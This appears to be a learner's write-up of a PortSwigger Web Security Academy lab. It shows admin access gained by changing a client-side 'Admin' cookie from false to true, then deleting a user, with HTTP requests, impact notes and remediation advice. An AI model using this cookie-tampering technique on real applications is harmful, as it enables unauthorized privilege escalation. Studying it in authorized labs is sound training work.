PortSwigger Lab: User role controlled by request parameter

Platform: PortSwigger Web Security Academy
Category: Access Control
Vulnerability: User role controlled by request parameter
Difficulty: Apprentice
Objective: Access the admin panel and delete Carlos's account
Tools: Burp Suite

How it works:

Some applications determine a user's role or access level at login and then store that information in a client-controllable location, such as a cookie, hidden form field, or query string parameter. On every subsequent request, the application trusts this value to decide whether the user has administrative privileges.

Since this value is fully controllable by the client, an attacker can simply modify it to escalate their own privileges, without needing to compromise any credentials.

Reconnaissance:

With Burp Suite running, I navigated to the /my-account page and logged in using the credentials provided by the lab (wiener:peter).

I then accessed the /admin page and analyzed the request in Burp Suite:

GET /admin HTTP/2
Host: [██████████████████████████████.web-security-academy.net](<http://xn--4zhaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.web-security-academy.net/>)
Cookie: Admin=false; session=[REDACTED]

GET /admin HTTP/2
Host: [██████████████████████████████.web-security-academy.net](<http://xn--4zhaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.web-security-academy.net/>)
Cookie: Admin=false; session=[REDACTED]

I noticed a cookie named Admin, set to false, which appears to identify whether the logged-in user has administrative privileges.

Exploitation:

I resent the request to /admin, this time changing the Admin cookie value from false to true:

GET /admin HTTP/2
Host: [██████████████████████████████.web-security-academy.net](<http://xn--4zhaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.web-security-academy.net/>)
Cookie: Admin=true; session=[REDACTED]

GET /admin HTTP/2
Host: [██████████████████████████████.web-security-academy.net](<http://xn--4zhaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.web-security-academy.net/>)
Cookie: Admin=true; session=[REDACTED]

The application granted full administrative access based solely on this client-controlled cookie value.

Step 2: Delete Carlos's Account

With administrative access granted, I located Carlos's account in the admin panel and deleted it, completing the lab objective.

Impact

This vulnerability allows any authenticated user to escalate their privileges to administrator simply by modifying a client-side cookie. Since the server trusts this value without any additional verification, an attacker can:

Gain full administrative access without valid admin credentials;
View, modify, or delete any user account, including administrators;
Access sensitive administrative functionality and data;
Compromise the integrity of the entire application.

Remediation

To prevent this vulnerability, applications should:

Never determine user roles or permissions based on client-controllable values such as cookies, hidden fields, or query parameters;
Store role and permission data server-side, tied to the authenticated session, and validate it on every request;
Enforce role-based access control (RBAC) checks at the server level for every sensitive endpoint;
Apply the principle of least privilege, granting access only to users who have been explicitly authorized;
Regularly audit access control logic to ensure client input cannot influence authorization decisions.

Disclaimer

This write-up was created for educational purposes only. All testing was performed in an authorized PortSwigger Web Security Academy laboratory environment. Never test systems without explicit authorization.

Contents